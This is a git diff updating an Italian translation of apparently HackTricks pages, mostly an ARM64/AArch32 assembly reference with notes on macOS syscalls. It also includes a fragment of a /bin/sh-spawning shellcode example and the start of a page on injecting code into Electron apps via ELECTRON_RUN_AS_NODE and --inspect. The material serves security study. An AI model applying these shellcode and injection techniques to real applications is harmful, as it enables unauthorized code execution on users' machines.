Sono spesso utilizzati per memorizzare l'**indirizzo base della regione di memoria dello storage locale del thread**. Di solito il primo è leggibile e scrivibile per i programmi che girano in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Leggi TPIDR_EL0 in x0`
|
||||
- `msr TPIDR_EL0, X0 ; Scrivi x0 in TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale visibile dal sistema operativo **`SPSR_ELx`**, dove X è il **livello di autorizzazione** **dell'eccezione** attivata (questo consente di recuperare lo stato del processo quando l'eccezione termina).\
|
||||
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale visibile dal sistema operativo **`SPSR_ELx`**, essendo X il **livello di permesso** **dell'eccezione** attivata (questo consente di recuperare lo stato del processo quando l'eccezione termina).\
|
||||
Questi sono i campi accessibili:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -70,29 +70,29 @@ Questi sono i campi accessibili:
|
||||
- I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**:
|
||||
- **`N`** significa che l'operazione ha prodotto un risultato negativo.
|
||||
- **`Z`** significa che l'operazione ha prodotto zero.
|
||||
- **`C`** significa che l'operazione ha portato.
|
||||
- **`C`** significa che l'operazione ha generato un riporto.
|
||||
- **`V`** significa che l'operazione ha prodotto un overflow firmato:
|
||||
- La somma di due numeri positivi produce un risultato negativo.
|
||||
- La somma di due numeri negativi produce un risultato positivo.
|
||||
- Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato nell'intervallo della dimensione di bit data.
|
||||
- Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione di bit data.
|
||||
- Ovviamente il processore non sa se l'operazione è firmata o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un riporto nel caso fosse firmato o non firmato.
|
||||
|
||||
> [!WARNING]
|
||||
> Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno un suffisso s come **`ADDS`** lo fanno anche.
|
||||
|
||||
- Il flag di **larghezza del registro corrente (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
|
||||
- Il **livello di eccezione corrente** (**`EL`**): Un programma regolare in esecuzione a EL0 avrà il valore 0.
|
||||
- Il flag **larghezza registro corrente (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
|
||||
- Il **Livello di Eccezione** (**`EL`**): Un programma regolare che gira in EL0 avrà il valore 0.
|
||||
- Il flag di **single stepping** (**`SS`**): Utilizzato dai debugger per eseguire un passo singolo impostando il flag SS a 1 all'interno di **`SPSR_ELx`** attraverso un'eccezione. Il programma eseguirà un passo e genererà un'eccezione di passo singolo.
|
||||
- Il flag di stato di **eccezione illegale** (**`IL`**): Viene utilizzato per contrassegnare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag è impostato a 1 e il processore attiva un'eccezione di stato illegale.
|
||||
- I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente alcune eccezioni esterne.
|
||||
- Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura la risposta alle **Richieste di Interruzione Hardware** (IRQ). e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
|
||||
- I flag di selezione del puntatore di stack (**`SPS`**): I programmi privilegiati in esecuzione a EL1 e superiori possono passare dall'utilizzo del proprio registro di puntatore di stack a quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
|
||||
- Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione Hardware** (IRQ). e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
|
||||
- I flag di selezione del puntatore dello stack (**`SPS`**): I programmi privilegiati che girano in EL1 e superiori possono passare tra l'uso del proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
|
||||
|
||||
## **Convenzione di Chiamata (ARM64v8)**
|
||||
|
||||
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** a una funzione vengono passati nei registri **`x0`** a **`x7`**. I parametri **aggiuntivi** vengono passati nello **stack**. Il **valore di ritorno** viene restituito nel registro **`x0`**, o in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** tra le chiamate di funzione.
|
||||
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** a una funzione vengono passati nei registri **`x0` attraverso `x7`**. I parametri **aggiuntivi** vengono passati nello **stack**. Il **valore di ritorno** viene passato indietro nel registro **`x0`**, o in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** tra le chiamate di funzione.
|
||||
|
||||
Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo** della funzione. Il **prologo** di solito comporta **salvare il puntatore di frame (`x29`)**, **impostare** un **nuovo puntatore di frame**, e **allocare spazio nello stack**. L'**epilogo** di solito comporta **ripristinare il puntatore di frame salvato** e **ritornare** dalla funzione.
|
||||
Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo della funzione**. Il **prologo** di solito comporta **salvare il puntatore di frame (`x29`)**, **impostare** un **nuovo puntatore di frame**, e **allocare spazio nello stack**. L'**epilogo** di solito comporta **ripristinare il puntatore di frame salvato** e **ritornare** dalla funzione.
|
||||
|
||||
### Convenzione di Chiamata in Swift
|
||||
|
||||
@ -106,21 +106,21 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
||||
- Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`.
|
||||
- **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**.
|
||||
- Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`.
|
||||
- **Modalità Offset**: Un offset che influisce sul puntatore originale è indicato, ad esempio:
|
||||
- **Modalità offset**: Un offset che influisce sul puntatore di origine è indicato, per esempio:
|
||||
- `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4.
|
||||
- **Modalità Pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
|
||||
- **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
|
||||
- `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`.
|
||||
- `str lr, [sp, #-4]!`, Memorizza il registro di link in sp e aggiorna il registro sp.
|
||||
- **Modalità Post-indicizzata**: Questo è simile al precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato.
|
||||
- **Modalità post-indicizzata**: Questo è simile al precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato.
|
||||
- `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8`.
|
||||
- **Indirizzamento relativo al PC**: In questo caso l'indirizzo da caricare è calcolato rispetto al registro PC.
|
||||
- `ldr x1, =_start`, Questo caricherà l'indirizzo dove inizia il simbolo `_start` in x1 relativo all'attuale PC.
|
||||
- **`str`**: **Memorizza** un valore da un **registro** nella **memoria**.
|
||||
- Esempio: `str x0, [x1]` — Questo memorizza il valore in `x0` nella posizione di memoria puntata da `x1`.
|
||||
- **`ldp`**: **Carica una coppia di registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
|
||||
- **`ldp`**: **Carica coppia di registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
|
||||
- Esempio: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle posizioni di memoria in `x2` e `x2 + 8`, rispettivamente.
|
||||
- **`stp`**: **Memorizza una coppia di registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
|
||||
- **`stp`**: **Memorizza coppia di registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
|
||||
- Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp` e `sp + 8`, rispettivamente.
|
||||
- `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`.
|
||||
- **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro.
|
||||
@ -128,7 +128,7 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
||||
- Xn1 -> Destinazione
|
||||
- Xn2 -> Operando 1
|
||||
- Xn3 | #imm -> Operando 2 (registro o immediato)
|
||||
- \[shift #N | RRX] -> Esegui uno shift o chiama RRX.
|
||||
- \[shift #N | RRX] -> Esegui uno shift o chiama RRX
|
||||
- Esempio: `add x0, x1, x2` — Questo aggiunge i valori in `x1` e `x2` insieme e memorizza il risultato in `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shifter 12 volte) -> 1 0000 0000 0000 0000.
|
||||
- **`adds`** Questo esegue un `add` e aggiorna i flag.
|
||||
@ -141,23 +141,23 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
||||
- **`div`**: **Divide** il valore di un registro per un altro e memorizza il risultato in un registro.
|
||||
- Esempio: `div x0, x1, x2` — Questo divide il valore in `x1` per `x2` e memorizza il risultato in `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Shift logico a sinistra**: Aggiungi 0s dalla fine spostando gli altri bit in avanti (moltiplica per n volte 2).
|
||||
- **Shift logico a destra**: Aggiungi 1s all'inizio spostando gli altri bit all'indietro (dividi per n volte 2 in modo non firmato).
|
||||
- **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0s se il bit più significativo è 1, **si aggiungono 1s** (**dividi per n volte 2 in modo firmato**).
|
||||
- **Shift logico a sinistra**: Aggiungi 0s dalla fine spostando gli altri bit in avanti (moltiplica per n-volte 2).
|
||||
- **Shift logico a destra**: Aggiungi 1s all'inizio spostando gli altri bit all'indietro (dividi per n-volte 2 in non firmato).
|
||||
- **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0s se il bit più significativo è 1, **si aggiungono 1s** (dividi per n-volte 2 in firmato).
|
||||
- **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra.
|
||||
- **Ruota a destra con estensione**: Come **`ror`**, ma con il flag di riporto come "bit più significativo". Quindi il flag di riporto viene spostato al bit 31 e il bit rimosso al flag di riporto.
|
||||
- **`bfm`**: **Bit Field Move**, queste operazioni **copia i bit `0...n`** da un valore e li posiziona nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**.
|
||||
- Spostamento di campo bit: `BFM Xd, Xn, #r`.
|
||||
- Spostamento di campo firmato: `SBFM Xd, Xn, #r, #s`.
|
||||
- Spostamento di campo non firmato: `UBFM Xd, Xn, #r, #s`.
|
||||
- **Estrazione e Inserimento di Campo Bit:** Copia un campo bit da un registro e lo copia in un altro registro.
|
||||
- **`bfm`**: **Bit Filed Move**, queste operazioni **copia i bit `0...n`** da un valore e li posiziona nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**.
|
||||
- Spostamento di bit: `BFM Xd, Xn, #r`
|
||||
- Spostamento di bit firmato: `SBFM Xd, Xn, #r, #s`
|
||||
- Spostamento di bit non firmato: `UBFM Xd, Xn, #r, #s`
|
||||
- **Estrai e Inserisci Bitfield:** Copia un campo di bit da un registro e lo copia in un altro registro.
|
||||
- **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1.
|
||||
- **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1.
|
||||
- **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra.
|
||||
- **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 di X2, estende il segno e posiziona il risultato in X1.
|
||||
- **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2, estende il segno e posiziona il risultato in X1.
|
||||
- **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra.
|
||||
- **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 di X2 e posiziona il risultato esteso a zero in X1.
|
||||
- **Estensione del Segno a X:** Estende il segno (o aggiunge solo 0s nella versione non firmata) di un valore per poter eseguire operazioni con esso:
|
||||
- **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2 e posiziona il risultato esteso a zero in X1.
|
||||
- **Estendi il segno a X:** Estende il segno (o aggiunge solo 0s nella versione non firmata) di un valore per poter eseguire operazioni con esso:
|
||||
- **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è la metà di `X2`) per riempire i 64 bit.
|
||||
- **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64 bit.
|
||||
- **`SXTW X1, W2`** Estende il segno di un byte **da W2 a X1** per riempire i 64 bit.
|
||||
@ -173,18 +173,18 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
||||
- Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo era i bit `nzcv` saranno impostati a 0 (il che non soddisferà il confronto `blt`).
|
||||
- Questo può anche essere usato come `ccmn` (stessa cosa ma negativa, come `cmp` vs `cmn`).
|
||||
- **`tst`**: Controlla se uno dei valori del confronto è entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno dei bit del registro indicato nel valore è 1.
|
||||
- Esempio: `tst X1, #7` Controlla se uno degli ultimi 3 bit di X1 è 1.
|
||||
- Esempio: `tst X1, #7` Controlla se uno dei ultimi 3 bit di X1 è 1.
|
||||
- **`teq`**: Operazione XOR scartando il risultato.
|
||||
- **`b`**: Salto incondizionato.
|
||||
- Esempio: `b myFunction`.
|
||||
- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprogrammi che devono tornare indietro).
|
||||
- **`bl`**: **Salto** con link, utilizzato per **chiamare** un **sottoprogramma**. Memorizza l'**indirizzo di ritorno in `x30`**.
|
||||
- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che necessitano di tornare indietro).
|
||||
- **`bl`**: **Salto** con link, utilizzato per **chiamare** una **sottoprocedura**. Memorizza l'**indirizzo di ritorno in `x30`**.
|
||||
- Esempio: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`.
|
||||
- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprogrammi che devono tornare indietro).
|
||||
- **`blr`**: **Salto** con Link a Registro, utilizzato per **chiamare** un **sottoprogramma** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`.
|
||||
- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che necessitano di tornare indietro).
|
||||
- **`blr`**: **Salto** con Link a Registro, utilizzato per **chiamare** una **sottoprocedura** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`.
|
||||
- Esempio: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`.
|
||||
- **`ret`**: **Ritorna** dal **sottoprogramma**, tipicamente utilizzando l'indirizzo in **`x30`**.
|
||||
- Esempio: `ret` — Questo ritorna dal sottoprogramma corrente utilizzando l'indirizzo di ritorno in `x30`.
|
||||
- **`ret`**: **Ritorna** dalla **sottoprocedura**, tipicamente utilizzando l'indirizzo in **`x30`**.
|
||||
- Esempio: `ret` — Questo ritorna dalla corrente sottoprocedura utilizzando l'indirizzo di ritorno in `x30`.
|
||||
- **`b.<cond>`**: Salti condizionali.
|
||||
- **`b.eq`**: **Salta se uguale**, basato sull'istruzione `cmp` precedente.
|
||||
- Esempio: `b.eq label` — Se l'istruzione `cmp` precedente ha trovato due valori uguali, questo salta a `label`.
|
||||
@ -193,7 +193,7 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
||||
- **`cbz`**: **Confronta e Salta su Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, salta a un'etichetta o indirizzo.
|
||||
- Esempio: `cbz x0, label` — Se il valore in `x0` è zero, questo salta a `label`.
|
||||
- **`cbnz`**: **Confronta e Salta su Non Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, salta a un'etichetta o indirizzo.
|
||||
- Esempio: `cbnz x0, label` — Se il valore in `x0` è diverso da zero, questo salta a `label`.
|
||||
- Esempio: `cbnz x0, label` — Se il valore in `x0` è non zero, questo salta a `label`.
|
||||
- **`tbnz`**: Testa il bit e salta se non zero.
|
||||
- Esempio: `tbnz x0, #8, label`.
|
||||
- **`tbz`**: Testa il bit e salta se zero.
|
||||
@ -214,7 +214,7 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
||||
- Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato a 32 bit dalla posizione di memoria puntata da `x1`, estende il segno a 64 bit e lo memorizza in `x0`.
|
||||
- **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro.
|
||||
- Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore dell'indirizzo attualmente in `x1`.
|
||||
- **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il **codice di gestione delle chiamate di sistema del kernel**.
|
||||
- **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del **kernel**.
|
||||
|
||||
- Esempio:
|
||||
|
||||
@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||
|
||||
Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\
|
||||
I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit meno privilegiato.\
|
||||
Si noti che la transizione da 64 bit a 32 bit avviene con una diminuzione del livello di eccezione (ad esempio, un programma a 64 bit in EL1 che attiva un programma in EL0). Questo avviene impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il **CPSR** dei programmi **`AArch32`**. Poi, il processo privilegiato chiama l'istruzione **`ERET`** affinché il processore transiti a **`AArch32`** entrando in A32 o T32 a seconda del CPSR\*\*.\*\*
|
||||
Si noti che la transizione da 64 bit a 32 bit avviene con una diminuzione del livello di eccezione (ad esempio, un programma a 64 bit in EL1 che attiva un programma in EL0). Questo viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il **CPSR** dei programmi **`AArch32`**. Poi, il processo privilegiato chiama l'istruzione **`ERET`** affinché il processore transiti a **`AArch32`** entrando in A32 o T32 a seconda del CPSR**.**
|
||||
|
||||
L'**`interworking`** avviene utilizzando i bit J e T del CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\
|
||||
Questo viene impostato durante le **istruzioni di salto interworking**, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:
|
||||
@ -266,14 +266,14 @@ mov r0, #8
|
||||
|
||||
Ci sono 16 registri a 32 bit (r0-r15). **Da r0 a r14** possono essere utilizzati per **qualsiasi operazione**, tuttavia alcuni di essi sono solitamente riservati:
|
||||
|
||||
- **`r15`**: Contatore del programma (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32, corrente + 4.
|
||||
- **`r11`**: Puntatore del frame
|
||||
- **`r15`**: Contatore di programma (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32, corrente + 4.
|
||||
- **`r11`**: Puntatore di Frame
|
||||
- **`r12`**: Registro di chiamata intra-procedurale
|
||||
- **`r13`**: Puntatore dello stack
|
||||
- **`r14`**: Registro di collegamento
|
||||
- **`r13`**: Puntatore di Stack
|
||||
- **`r14`**: Registro di Link
|
||||
|
||||
Inoltre, i registri sono salvati in **`registri bancari`**. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire **veloci cambi di contesto** nella gestione delle eccezioni e nelle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.\
|
||||
Questo avviene **salvando lo stato del processore da `CPSR` a `SPSR`** della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**.
|
||||
Questo avviene **salvando lo stato del processore dal `CPSR` al `SPSR`** della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**.
|
||||
|
||||
### CPSR - Registro di Stato del Programma Corrente
|
||||
|
||||
@ -289,7 +289,7 @@ I campi sono divisi in alcuni gruppi:
|
||||
#### Registro di Stato del Programma Applicativo (APSR)
|
||||
|
||||
- I flag **`N`**, **`Z`**, **`C`**, **`V`** (proprio come in AArch64)
|
||||
- Il flag **`Q`**: Viene impostato a 1 ogni volta che **si verifica una saturazione intera** durante l'esecuzione di un'istruzione aritmetica specializzata di saturazione. Una volta impostato a **`1`**, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non esiste alcuna istruzione che controlli il suo valore implicitamente, deve essere fatto leggendo manualmente.
|
||||
- Il flag **`Q`**: Viene impostato a 1 ogni volta che **si verifica una saturazione intera** durante l'esecuzione di un'istruzione aritmetica specializzata di saturazione. Una volta impostato a **`1`**, manterrà il valore fino a quando non viene impostato manualmente a 0. Inoltre, non esiste alcuna istruzione che controlli il suo valore implicitamente, deve essere fatto leggendo manualmente.
|
||||
- Flag **`GE`** (Maggiore o uguale): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "somma parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
|
||||
|
||||
Ad esempio, l'istruzione **`UADD8`** **somma quattro coppie di byte** (da due operandi a 32 bit) in parallelo e memorizza i risultati in un registro a 32 bit. Imposta quindi **i flag `GE` nell'`APSR`** in base a questi risultati. Ogni flag GE corrisponde a una delle somme di byte, indicando se la somma per quella coppia di byte **è traboccata**.
|
||||
@ -299,13 +299,13 @@ L'istruzione **`SEL`** utilizza questi flag GE per eseguire azioni condizionali.
|
||||
#### Registri di Stato di Esecuzione
|
||||
|
||||
- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1, viene utilizzato il T32.
|
||||
- **Registro di Stato del Blocco IT** (`ITSTATE`): Questi sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso **`IT`**.
|
||||
- **Registro di Stato del Blocco IT** (`ITSTATE`): Questi sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo prefissato **`IT`**.
|
||||
- Bit **`E`**: Indica l'**endianness**.
|
||||
- Bit di Maschera di Modalità ed Eccezione (0-4): Determinano lo stato di esecuzione corrente. Il **5°** indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (uno 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso venga attivata un'altra eccezione mentre questa viene gestita.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione** hardware esterne (IRQ). e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
|
||||
- **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione** (IRQ) hardware esterne. e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
@ -325,7 +325,7 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
Nota che **Ida** e **Ghidra** possono anche decompilare **dylibs specifici** dalla cache semplicemente passando la cache.
|
||||
Nota che **Ida** e **Ghidra** possono anche decompilare **dylibs specifici** dalla cache semplicemente passando attraverso la cache.
|
||||
|
||||
> [!TIP]
|
||||
> A volte è più facile controllare il codice **decompilato** di **`libsystem_kernel.dylib`** **che** controllare il **codice sorgente** perché il codice di diverse syscalls (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
|
||||
@ -336,7 +336,7 @@ XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. I num
|
||||
|
||||
### pagina comm
|
||||
|
||||
Questa è una pagina di memoria di proprietà del kernel che è mappata nello spazio degli indirizzi di ogni processo utente. È progettata per rendere la transizione dalla modalità utente allo spazio kernel più veloce rispetto all'uso di syscalls per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
|
||||
Questa è una pagina di memoria di proprietà del kernel che è mappata nello spazio degli indirizzi di ogni processo utente. È progettata per rendere la transizione dalla modalità utente allo spazio kernel più veloce rispetto all'uso delle syscalls per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
|
||||
|
||||
Ad esempio, la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla pagina comm.
|
||||
|
||||
@ -487,7 +487,7 @@ sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="con stack"}}
|
||||
{{#tab name="con lo stack"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
||||
@ -5,16 +5,16 @@
|
||||
## Informazioni di Base
|
||||
|
||||
Se non sai cos'è Electron, puoi trovare [**moltissime informazioni qui**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Ma per ora sappi solo che Electron esegue **node**.\
|
||||
E node ha alcuni **parametri** e **variabili d'ambiente** che possono essere utilizzati per **eseguire altro codice** oltre al file indicato.
|
||||
E node ha alcuni **parametri** e **variabili d'ambiente** che possono essere utilizzati per **far eseguire altro codice** oltre al file indicato.
|
||||
|
||||
### Fusi di Electron
|
||||
|
||||
Queste tecniche saranno discusse in seguito, ma recentemente Electron ha aggiunto diversi **flag di sicurezza per prevenirle**. Questi sono i [**Fusi di Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e questi sono quelli utilizzati per **prevenire** che le app Electron su macOS **carichino codice arbitrario**:
|
||||
|
||||
- **`RunAsNode`**: Se disabilitato, impedisce l'uso della variabile d'ambiente **`ELECTRON_RUN_AS_NODE`** per iniettare codice.
|
||||
- **`EnableNodeCliInspectArguments`**: Se disabilitato, parametri come `--inspect`, `--inspect-brk` non saranno rispettati. Evitando in questo modo l'iniezione di codice.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Se abilitato, il **file** **`asar`** caricato sarà **validato** da macOS. **Prevenendo** in questo modo l'**iniezione di codice** modificando i contenuti di questo file.
|
||||
